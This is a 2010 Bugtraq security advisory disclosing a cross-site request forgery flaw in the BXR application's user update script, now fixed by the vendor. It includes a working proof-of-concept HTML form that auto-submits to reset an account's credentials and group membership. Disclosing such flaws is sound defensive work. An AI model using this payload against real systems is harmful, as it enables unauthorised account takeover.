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Date: Thu, 5 Aug 2010 15:54:28 +0200 (CEST) From: advisory@...ridge.ch To: bugtraq@...urityfocus.com Subject: XSRF (CSRF) in BXR Vulnerability ID: HTB22503 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bxr.html Product: BXR Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr ) Vulnerable Version: 0.6.8 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Fixed by Vendor Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/user/update" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/user/update/1" method="post" name="main" > <input type="hidden" name="user[name]" value="admin" /> <input type="hidden" name="user[email]" value="myemail@...mple.com" /> <input type="hidden" name="user[password]" value="123" /> <input type="hidden" name="user[password_confirmation]" value="123" /> <input type="hidden" name="belongs_to_group[1]" value="yes" /> <input type="hidden" name="user[default_folder_id]" value="1" /> <input type="hidden" name="commit" value="Save" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version
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